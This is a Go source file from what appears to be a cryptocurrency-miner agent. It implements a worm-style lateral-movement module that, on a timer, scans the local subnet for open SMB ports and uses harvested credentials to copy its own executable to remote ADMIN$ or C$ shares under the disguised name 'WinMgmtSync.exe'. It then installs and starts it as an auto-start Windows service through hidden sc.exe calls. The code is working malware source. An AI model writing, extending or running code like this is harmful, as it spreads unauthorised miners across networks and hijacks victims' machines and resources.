//go:build windows package deploy import ( "fmt" "log" "net" "os" "path/filepath" "time" "crypto-miner-agent/config" ) // StartAutoSpreader launches a background routine that periodically attempts // to replicate the miner to other machines on the local subnet via SMB and RPC. // // Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote // sc.exe service creation require an admin-capable token and reachable TCP/445. func StartAutoSpreader(cfg config.RuntimeConfig) { // AutoSpread feature retained per user request. // Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet. if !cfg.AutoSpread { return } go func() { // Wait 10 minutes after initial startup before attempting lateral movement time.Sleep(10 * time.Minute) // Attempt every 4 hours ticker := time.NewTicker(4 * time.Hour) defer ticker.Stop() for { spreadToLocalSubnet(cfg) if cfg.WinRMSpread || cfg.AutoSpread { go spreadViaWinRM(cfg) } <-ticker.C } }() log.Printf("[autospread] Lateral movement module initialized and active") } // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking). func RunSpreadOnce(cfg config.RuntimeConfig) string { go spreadToLocalSubnet(cfg) if cfg.WinRMSpread || cfg.AutoSpread { go spreadViaWinRM(cfg) } return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" } // spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine // storm on /24 sweeps (M20). Each attempt can block for several seconds on // SMB/sc.exe, so without a cap all 254 run concurrently. var spreadSem = make(chan struct{}, 16) func spreadToLocalSubnet(cfg config.RuntimeConfig) { filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts) beginSpreadSweep("smb_scm", len(filtered)) if len(filtered) == 0 { finishSpreadSweepImmediate() return } for _, target := range filtered { spreadSem <- struct{}{} go func(t string) { defer func() { <-spreadSem }() attemptSpread(cfg, t) }(target) } } func attemptSpread(cfg config.RuntimeConfig, target string) { // 1. Quick pre-check: Is port 445 (SMB) open? conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) if err != nil { recordSpreadAttempt(target, false, "port 445 closed") return } conn.Close() var credSession SpreadCredSession var credCleanup func() if session, ok := acquireSpreadCred(target, "smb_scm"); ok { credSession = session if cleanup, applied := applySpreadCredSession(target, session); applied { credCleanup = cleanup } } if credCleanup != nil { defer credCleanup() } exePath, err := os.Executable() if err != nil { recordSpreadAttempt(target, false, "executable path unavailable") return } // Target paths destName := "WinMgmtSync.exe" adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName) remoteExe := filepath.Join(`C:\Windows\System32`, destName) // 2. Attempt to copy payload via SMB using the current security token if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil { // Fallback to C$ hidden temp folder if System32 is restricted cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName) if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil { recordSpreadAttempt(target, false, "smb copy denied") return } remoteExe = filepath.Join(`C:\Windows\Temp`, destName) } // 3. Create Windows Service on the remote machine via Service Control Manager (RPC) svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) // Delete existing just in case path changed _ = HiddenRun("sc.exe", `\\`+target, "stop", svcName) _ = HiddenRun("sc.exe", `\\`+target, "delete", svcName) _ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil { log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) recordSpreadAttempt(target, true, "") reportSpreadCredEdge(target, "smb_scm", credSession, true) } else { recordSpreadAttempt(target, false, "remote service start failed") reportSpreadCredEdge(target, "smb_scm", credSession, false) } }